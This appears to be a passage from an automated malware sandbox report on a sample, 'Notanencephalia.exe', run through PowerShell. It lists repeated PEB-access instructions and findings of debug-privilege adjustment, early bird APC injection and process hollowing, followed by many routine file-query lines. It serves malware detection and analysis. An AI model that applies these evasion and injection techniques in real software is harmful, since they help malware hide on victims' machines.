Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1843 mov eax, dword ptr fs:[00000030h]	14_2_1FDB1843
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1843 mov eax, dword ptr fs:[00000030h]	14_2_1FDB1843
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1843 mov eax, dword ptr fs:[00000030h]	14_2_1FDB1843
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDB1843 mov eax, dword ptr fs:[00000030h]	14_2_1FDB1843
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA1876 mov eax, dword ptr fs:[00000030h]	14_2_1FDA1876
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA1876 mov eax, dword ptr fs:[00000030h]	14_2_1FDA1876
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6D878 mov eax, dword ptr fs:[00000030h]	14_2_1FD6D878
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6D860 mov eax, dword ptr fs:[00000030h]	14_2_1FD6D860
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD99803 mov eax, dword ptr fs:[00000030h]	14_2_1FD99803
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE11800 mov eax, dword ptr fs:[00000030h]	14_2_1FE11800
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE11800 mov eax, dword ptr fs:[00000030h]	14_2_1FE11800
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2F80A mov eax, dword ptr fs:[00000030h]	14_2_1FE2F80A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA182A mov eax, dword ptr fs:[00000030h]	14_2_1FDA182A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA3820 mov eax, dword ptr fs:[00000030h]	14_2_1FDA3820
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFD820 mov ecx, dword ptr fs:[00000030h]	14_2_1FDFD820
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFD820 mov eax, dword ptr fs:[00000030h]	14_2_1FDFD820
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFD820 mov eax, dword ptr fs:[00000030h]	14_2_1FDFD820
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD757C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD757C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD757C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD757C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD757C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD757C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7D7E0 mov ecx, dword ptr fs:[00000030h]	14_2_1FD7D7E0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE437B6 mov eax, dword ptr fs:[00000030h]	14_2_1FE437B6
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2D7B0 mov eax, dword ptr fs:[00000030h]	14_2_1FE2D7B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2D7B0 mov eax, dword ptr fs:[00000030h]	14_2_1FE2D7B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2F78A mov eax, dword ptr fs:[00000030h]	14_2_1FE2F78A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD9D7B0 mov eax, dword ptr fs:[00000030h]	14_2_1FD9D7B0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6F7BA mov eax, dword ptr fs:[00000030h]	14_2_1FD6F7BA
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFF7AF mov eax, dword ptr fs:[00000030h]	14_2_1FDFF7AF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFF7AF mov eax, dword ptr fs:[00000030h]	14_2_1FDFF7AF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFF7AF mov eax, dword ptr fs:[00000030h]	14_2_1FDFF7AF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFF7AF mov eax, dword ptr fs:[00000030h]	14_2_1FDFF7AF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDFF7AF mov eax, dword ptr fs:[00000030h]	14_2_1FDFF7AF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDF97A9 mov eax, dword ptr fs:[00000030h]	14_2_1FDF97A9
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83740 mov eax, dword ptr fs:[00000030h]	14_2_1FD83740
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83740 mov eax, dword ptr fs:[00000030h]	14_2_1FD83740
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD83740 mov eax, dword ptr fs:[00000030h]	14_2_1FD83740
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE43749 mov eax, dword ptr fs:[00000030h]	14_2_1FE43749
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6B765 mov eax, dword ptr fs:[00000030h]	14_2_1FD6B765
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6B765 mov eax, dword ptr fs:[00000030h]	14_2_1FD6B765
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6B765 mov eax, dword ptr fs:[00000030h]	14_2_1FD6B765
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD6B765 mov eax, dword ptr fs:[00000030h]	14_2_1FD6B765
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1375F mov eax, dword ptr fs:[00000030h]	14_2_1FE1375F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1375F mov eax, dword ptr fs:[00000030h]	14_2_1FE1375F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1375F mov eax, dword ptr fs:[00000030h]	14_2_1FE1375F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1375F mov eax, dword ptr fs:[00000030h]	14_2_1FE1375F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE1375F mov eax, dword ptr fs:[00000030h]	14_2_1FE1375F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDAF71F mov eax, dword ptr fs:[00000030h]	14_2_1FDAF71F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDAF71F mov eax, dword ptr fs:[00000030h]	14_2_1FDAF71F
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE3972B mov eax, dword ptr fs:[00000030h]	14_2_1FE3972B
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2F72E mov eax, dword ptr fs:[00000030h]	14_2_1FE2F72E
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD77703 mov eax, dword ptr fs:[00000030h]	14_2_1FD77703
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD75702 mov eax, dword ptr fs:[00000030h]	14_2_1FD75702
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD75702 mov eax, dword ptr fs:[00000030h]	14_2_1FD75702
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4B73C mov eax, dword ptr fs:[00000030h]	14_2_1FE4B73C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4B73C mov eax, dword ptr fs:[00000030h]	14_2_1FE4B73C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4B73C mov eax, dword ptr fs:[00000030h]	14_2_1FE4B73C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE4B73C mov eax, dword ptr fs:[00000030h]	14_2_1FE4B73C
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD69730 mov eax, dword ptr fs:[00000030h]	14_2_1FD69730
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD69730 mov eax, dword ptr fs:[00000030h]	14_2_1FD69730
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7973A mov eax, dword ptr fs:[00000030h]	14_2_1FD7973A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7973A mov eax, dword ptr fs:[00000030h]	14_2_1FD7973A
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA5734 mov eax, dword ptr fs:[00000030h]	14_2_1FDA5734
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD73720 mov eax, dword ptr fs:[00000030h]	14_2_1FD73720
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8F720 mov eax, dword ptr fs:[00000030h]	14_2_1FD8F720
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8F720 mov eax, dword ptr fs:[00000030h]	14_2_1FD8F720
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD8F720 mov eax, dword ptr fs:[00000030h]	14_2_1FD8F720
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE036EE mov eax, dword ptr fs:[00000030h]	14_2_1FE036EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE036EE mov eax, dword ptr fs:[00000030h]	14_2_1FE036EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE036EE mov eax, dword ptr fs:[00000030h]	14_2_1FE036EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE036EE mov eax, dword ptr fs:[00000030h]	14_2_1FE036EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE036EE mov eax, dword ptr fs:[00000030h]	14_2_1FE036EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE036EE mov eax, dword ptr fs:[00000030h]	14_2_1FE036EE
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FE2D6F0 mov eax, dword ptr fs:[00000030h]	14_2_1FE2D6F0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FDA16CF mov eax, dword ptr fs:[00000030h]	14_2_1FDA16CF
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7B6C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7B6C0
Source: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe	Code function: 14_2_1FD7B6C0 mov eax, dword ptr fs:[00000030h]	14_2_1FD7B6C0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Early bird code injection technique detected

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe

Sample uses process hollowing technique

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Section unmapped: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe base address: 400000

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe base: 1660000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Users\user\AppData\Local\Temp\Notanencephalia.exe "C:\Users\user\AppData\Local\Temp\Notanencephalia.exe"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
